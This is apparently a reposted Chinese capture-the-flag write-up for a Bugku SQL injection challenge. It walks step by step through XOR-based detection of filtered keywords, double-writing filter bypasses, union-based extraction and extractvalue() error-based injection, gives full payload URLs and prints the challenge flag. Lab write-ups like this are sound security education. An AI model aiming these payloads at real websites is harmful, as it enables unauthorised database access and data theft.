一道有趣的注入题bugku

这是我在bugku上遇到的一道sql注入题。比较有意思
运用了异或注入报错注入
原题地址:http://123.206.87.240:9004/1ndex.php?id=1
测试:
进入第一关没有什么提示信息,但是url地址栏 ?id=1 可能存在注入
id=1’ 会报错,后面加–+注释返回正常,确定存在SQL注入
?id=1’or 1=1–+ 也报错,可能存在过滤
尝试双写绕过,?id=1’oorr 1=1–+ 返回正常
**

异或注入

这时我们可以用异或注入来检测,异或即两个条件相同(同真或同假)即为假

http://123.206.87.240:9004/1ndex.php?id=1'^(length('and')!=0)--+

如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确,那就证明length(‘union’)==0的,也就是union被过滤了
当满足异或条件就正常返显,There is nothing.
当不满足异或条件时,返回 Error! Error! Error!
可以测试出被过滤的字符串有:and,or,union,select
一道有趣的注入题bugku_第1张图片

猜字段数
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2 --+ 正常
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 3 --+ 报错
爆库
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,database() --+
爆表
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema="web1002-1"--+ (注意information_schema里也会过滤or)
爆列
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema="web1002-1" aandnd table_name="flag1"--+
爆数据
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(flag1) from flag1--+
  数据有 flag1,address

当做完以上步骤后,爆出的flag是假的,因此我们只能爆出flag1中另一个address的数据。
一道有趣的注入题bugku_第2张图片

爆第二关地址
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(address) from flag1--+

爆字段数
http://123.206.87.240:9004/Once_More.php?id=1' order by 2--+ 正常
http://123.206.87.240:9004/Once_More.php?id=1' order by 3--+ 报错

爆库
http://123.206.87.240:9004/Once_More.php?id=1' and(extractvalue(1,concat(0x7e,database(),0x7e)))--+

爆表
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="web1002-2"),0x7e)))--+

爆列
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+

爆flag
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e)))--+

flag{Bugku-sql_6s-2i-4t-bug}提交的时候都要小写 flag{bugku-sql_6s-2i-4t-bug}

报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误

函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
————————————————
① 0x7e=’~’
② concat(‘a’,‘b’)=“ab”
③‘~‘可以换成’#’、’$'等不满足xml格式的字符
④ extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取,一次查看最多32位
转载自:https://blog.csdn.net/silence1_/article/details/90812612

你可能感兴趣的:(一道有趣的注入题bugku)